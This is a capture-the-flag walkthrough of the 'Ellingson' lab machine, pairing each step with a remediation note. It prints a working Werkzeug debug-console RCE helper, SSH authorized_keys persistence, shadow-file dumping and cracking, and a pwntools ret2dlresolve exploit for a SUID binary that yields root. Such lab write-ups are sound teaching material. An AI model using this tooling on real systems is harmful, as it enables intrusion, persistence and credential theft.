← all walkthroughs

Ellingson

Linux· Hard
owned
2026-07-10
time to own
23m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target ellingson ($TARGET) runs an nginx-fronted Flask application whose Werkzeug debug mode was left active in production. Requesting a non-existent article path (/articles/foo) threw an unhandled exception; the resulting 500 error page embedded the Werkzeug console secret token and per-frame stack IDs in its HTML, giving any visitor who could trigger the error a fully functional interactive Python evaluator: no PIN required. Commands were run as uid=1001 (hal) via subprocess.check_output().

My own SSH public key was written into hal's home directory to stabilize the session. Post-foothold enumeration found /var/backups/shadow.bak world-readable, exposing crypt(3) SHA-512 hashes for all local accounts. Offline cracking with john recovered the passwords for margo and theplague.

Switching to margo revealed a SUID-root binary at /usr/bin/garbage compiled without a stack canary. A stack buffer overflow in its auth() function was exploited with a pwntools Ret2dlresolvePayload chain that resolved and called system() through the dynamic linker entirely from the binary's own PLT/GOT, no libc address leak required, yielding a root shell and the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"

Some commands also carry a value in angle brackets (<offset-from-the-cyclic-run>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped open services and identified a Flask/Werkzeug web application
An nmap service scan revealed two open ports: SSH on 22/tcp (OpenSSH 7.6p1 Ubuntu) and HTTP on 80/tcp (nginx 1.14.0). A plain HTTP request to port 80 redirected to /index, serving a Flask application. Response headers and page content confirmed Werkzeug as the underlying WSGI framework, making the debug-console attack surface immediately relevant.
Nmap returned nginx 1.14.0 on 80/tcp and OpenSSH 7.6p1 on 22/tcp; curl / redirected to /index with Server: nginx/1.14.0 and a Flask-style HTML response.
Exact commands 2
shell

Service-version scan; confirms nginx 1.14.0 on port 80 and OpenSSH 7.6p1 on port 22.

$ nmap -Pn -sV -p 22,80 --script http-title,http-server-header $TARGET
shell

Follow the redirect to /index; inspect response headers for framework fingerprints (Server, X-Powered-By).

$ curl -siL http://$TARGET/ | head -40
2EnumerationWeb application error-page information disclosure (CWE-209)
Discovered a Flask route that throws a Werkzeug debug traceback
Directory fuzzing and manual probing of the Flask application uncovered an /articles/<name> route. Requesting any non-existent article name caused the app to raise an unhandled exception. Because Werkzeug debug mode was active, the 500 error page returned a full interactive traceback embedding the console secret token (SECRET) and per-stack-frame IDs in its HTML: the two values required to reach the live Python evaluator without a PIN.
Curl http://$TARGET/articles/foo returned HTTP 500 containing SECRET = "<withheld>" and multiple id="<withheld><number>" elements in the response body.
Exact commands 2
shell

Trigger the 500 traceback; the full HTML response contains the Werkzeug secret and frame IDs.

$ curl -i http://$TARGET/articles/foo
shell

Quick filter to extract the secret token value and frame IDs needed for console access.

$ curl -si http://$TARGET/articles/foo | grep -E 'SECRET|id="frame-'
FixDisable Werkzeug debug mode before deploying any Flask application to productionCritical
WeaknessThe Flask application was running with Werkzeug's built-in debug mode active on a publicly reachable server. Debug mode exposes an interactive Python evaluator on every 500-error page; the evaluator is protected only by a secret token and stack-frame ID that are printed in plain text in the error-page HTML. Any visitor who could trigger an exception, including by requesting a non-existent URL, received full remote code execution as the web process user with zero authentication.
FixSet FLASK_DEBUG=0 (or FLASK_ENV=production) in the deployment environment and confirm app.run(debug=False) is the only reachable code path. Use a production WSGI server (gunicorn, uWSGI) which never activates the Werkzeug debugger regardless of application settings. Add a generic Flask error handler (app.register_error_handler(500, handler)) that returns a plain, user-friendly message instead of a traceback. Validate the fix by hitting /articles/nonexistent after deployment and confirming no console icon, no SECRET value, and no Python source appears in the response.
3ExploitationWerkzeug debug console remote code execution (T1190)
Executed arbitrary Python commands via the Werkzeug interactive debug console
The traceback hands over two values: the evaluator's secret and the id of a stack frame. With both, a GET to the same URL carrying __debugger__=yes runs a Python expression inside the running Flask process. One quirk shapes everything that follows: os.system returns an exit status rather than output, so a command whose answer I want has to be wrapped in subprocess.check_output. The console answered as uid=1001(hal), and the user flag came back through it. Because every later command goes the same way, the parsing and the wrapping are worth writing down once. The secret and frame are re-read on each call, so the helper keeps working across restarts of the application.
Console response returned uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm); cat /home/hal/user.txt returned <user.txt>.
Exact commands 3
shell

Written once, on my own machine. Everything after this step goes through it.

$ cat > wz.py <<PY && chmod +x wz.py
#!/usr/bin/env python3
# One shell command through the Werkzeug debug evaluator.
#   WZ=http://$TARGET/articles/foo ./wz.py 'id'
#   ./wz.py -i payload.bin '/usr/bin/garbage'     # local file on the command's stdin
import os, re, sys, requests

base = os.environ['WZ']
page = requests.get(base, timeout=8).text
secret = re.search(r'SECRET = "([^"]+)"', page).group(1)
frame = re.findall(r'id="frame-([0-9]+)"', page)[0]

argv = sys.argv[1:]
stdin = b''
if argv[0] == '-i':
    stdin = open(argv[1], 'rb').read()
    argv = argv[2:]

subprocess = "__import__('subprocess')"
expression = (
    f"{subprocess}.check_output({argv[0]!r}, shell=True, input={stdin!r},"
    f" stderr={subprocess}.STDOUT).decode('utf-8', 'replace')"
)
print(requests.get(base, timeout=60, params={
    '__debugger__': 'yes', 'cmd': expression, 'frm': frame, 's': secret,
}).text)
PY
shell

The account the web application runs as: uid=1001(hal), not root.

$ export WZ="http://$TARGET/articles/foo" && ./wz.py 'id'
shell

-> <user.txt>

$ ./wz.py 'cat /home/hal/user.txt'
4FootholdSSH authorized_keys persistence (T1098.004)
Wrote an SSH key for hal, and kept working through the debug console
The Werkzeug evaluator is a single-expression channel with no PTY, so an interactive shell would have been easier to work in. I generated a throw-away ed25519 pair and wrote the public half into hal's authorized_keys through the console, fixing the directory permissions on the way. It did not become the working channel: SSH never returned a usable session here, and everything that follows was routed back through the debug console, wrapping each command in subprocess.check_output.
The .ssh directory and authorized_keys were created with the expected permissions through the console; SSH with the matching private key was a dead end in practice, and the engagement continued through the Werkzeug evaluator.
Exact commands 3
shell

A throw-away pair; the public half is what goes across.

$ ssh-keygen -t ed25519 -f /tmp/hal_key -N ''
shell

Hal's home was not group- or world-readable, so sshd would have refused the key on permissions alone.

$ ./wz.py 'mkdir -p /home/hal/.ssh && chmod 700 /home/hal /home/hal/.ssh'
shell

Appended, not overwritten. The session it was meant to open never materialised, and the console stayed the channel.

$ ./wz.py "printf '%s\n' '$(cat /tmp/hal_key.pub)' >> /home/hal/.ssh/authorized_keys && chmod 600 /home/hal/.ssh/authorized_keys"
5Credential AccessOS credential dumping from shadow backup file (T1003.008)
Read a world-readable shadow backup and cracked password hashes offline
Filesystem enumeration as hal found /var/backups/shadow.bak with permissions 0644: readable by any user on the system. The file was a copy of /etc/shadow containing crypt(3) SHA-512 hashes for all local accounts. Transferring the hash lines to my machine and running john with the rockyou wordlist recovered two plaintexts: margo's password and theplague's password.
Ls -l /var/backups/shadow.bak showed -rw-r--r-- 1 root root; john cracked margo:<withheld> and theplague's password from the extracted lines.
Exact commands 5
shell

World-readable. A copy of the shadow file that lost the permissions the original has.

$ ./wz.py 'ls -la /var/backups/shadow.bak'
shell

The console prints the file; the redirect is what puts it on my machine.

$ ./wz.py 'cat /var/backups/shadow.bak' > /tmp/shadow.bak
shell

The three accounts with a hash worth feeding a wordlist.

$ grep -E '^(margo|theplague|duke):' /tmp/shadow.bak > /tmp/ellingson_hashes.txt
shell

Crypt(3) SHA-512, so slow, two of the three fall.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt /tmp/ellingson_hashes.txt
shell

Prints what was recovered against the account each belongs to.

$ john --show --format=crypt /tmp/ellingson_hashes.txt
FixRestrict permissions on shadow backup files and enforce strong account passwordsCritical
Weakness/var/backups/shadow.bak was world-readable (mode 0644), making the hashed passwords of every local account available to any user who obtained even the lowest-privilege foothold on the system. Two accounts had passwords (<withheld>, <withheld>) that were cracked within seconds against the rockyou wordlist.
FixRemove world and group read bits from all shadow backup files immediately: chmod 600 /var/backups/shadow.bak with ownership root:root, or delete unnecessary copies entirely. Audit for similar files with: find /etc /var/backups -name 'shadow*' -o -name '*.bak' | xargs ls -la 2>/dev/null. Store credential backups only inside encrypted archives accessible exclusively to root. Enforce a password policy requiring length ≥ 16 characters and complexity that resists dictionary attacks (via PAM pwquality or equivalent). As a compensating control, enable login monitoring and alert on su / sudo activity from unexpected accounts.
6Lateral MovementValid account credential reuse (T1078.003)
Switched to the margo account using the cracked password
Su refuses to read a password from anything but a terminal, and the evaluator has no terminal to offer. Script solves it in one word: it allocates a pseudo-terminal and runs a command inside it, so su gets what it insists on while the whole thing stays a single non-interactive expression. Feeding the password in on stdin is then enough to confirm the credential and to run a command as margo.
Su - margo with password returned a shell prompt as uid=1000(margo) gid=1000(margo).
Exact commands 1
shell

Script supplies the pty; su reads the password from it. The nesting is the cost of having no shell.

$ ./wz.py "printf '%s\n' \"$PASSWORD\" | script -q /dev/null -c 'su - margo -c \"id; cat /home/margo/user.txt\"'"
uid=1000(margo) gid=1000(margo)
7Privilege EscalationSUID binary stack buffer overflow with ret2dlresolve privilege escalation (T1548.001)
Exploited a stack buffer overflow in a SUID-root binary to execute code as root
Enumerating SUID-root binaries as margo revealed /usr/bin/garbage. Static analysis (checksec, objdump, nm, ROPgadget) confirmed the binary was compiled without a stack canary and without PIE. The auth() function reads user input into a fixed-size stack buffer without bounds checking; the overflow offset was determined with a cyclic pattern. Because no libc address leak was available, the exploit used pwntools' Ret2dlresolvePayload to forge a fake dynamic-linker resolution structure in a writable section of the binary, calling system('/bin/sh') entirely through the binary's own GOT/PLT without needing a known libc base. The crafted payload delivered as stdin to /usr/bin/garbage executed as uid=0(root), returning the root flag.
Exploit output returned uid=0(root) gid=0(root); cat /root/root.txt returned <root.txt>.
Exact commands 6
shell

/usr/bin/garbage is the entry that belongs to no package.

$ ./wz.py 'find / -perm -4000 -user root -exec ls -la {} \; 2>/dev/null'
shell

The console is a text channel, so the binary comes back base64 and is decoded here.

$ ./wz.py 'base64 -w0 /usr/bin/garbage' | tr -d '\r\n' | base64 -d > /tmp/garbage
shell

No canary and no PIE: the addresses in the binary are the addresses at runtime.

$ checksec --file=/tmp/garbage
shell

Pop rdi; ret is how an argument reaches a function in this calling convention.

$ ROPgadget --binary /tmp/garbage | grep -E 'pop rdi|: ret$'
shell

Writes the payload rather than only printing it. The offset comes from a cyclic pattern under gdb.

$ python3 - <<'PY'
from pwn import *
context.arch = 'amd64'
elf = ELF('/tmp/garbage', checksec=False)
dl = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
rop.raw(b'A' * <offset-from-the-cyclic-run>)
rop.ret2dlresolve(dl)
open('/tmp/payload.bin', 'wb').write(rop.chain() + dl.payload)
print(hexdump(rop.chain() + dl.payload))
PY
shell

The helper carries the bytes to the binary's stdin, and the setuid binary supplies the root -> <root.txt>

$ ./wz.py -i /tmp/payload.bin '/usr/bin/garbage; id; cat /root/root.txt'
uid=0(root) gid=0(root)
FixRemove the SUID bit from /usr/bin/garbage and recompile with memory-safety mitigationsCritical
Weakness/usr/bin/garbage was installed SUID root and compiled without a stack canary, making its stack buffer overflow trivially exploitable by any local user. Any foothold account, including the low-privilege web process user, could deliver the overflow payload and receive a root shell, turning a limited web compromise into full system takeover.
FixImmediately strip the SUID bit if root privileges are not required for the binary's function: chmod u-s /usr/bin/garbage. If elevated privilege is genuinely needed, rewrite the vulnerable input-handling function to use bounded reads (fgets with an explicit size limit, or read() with a length check) and recompile with stack protection (-fstack-protector-strong), full RELRO (-Wl,-z,relro,-z,now), and position-independent executable (-fPIE -pie): these make exploitation significantly harder. Audit all non-standard SUID/SGID binaries on the host: find / -perm /6000 -not -path '/proc/*' 2>/dev/null. Establish a weekly inventory check that alerts when any new binary acquires the SUID bit.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp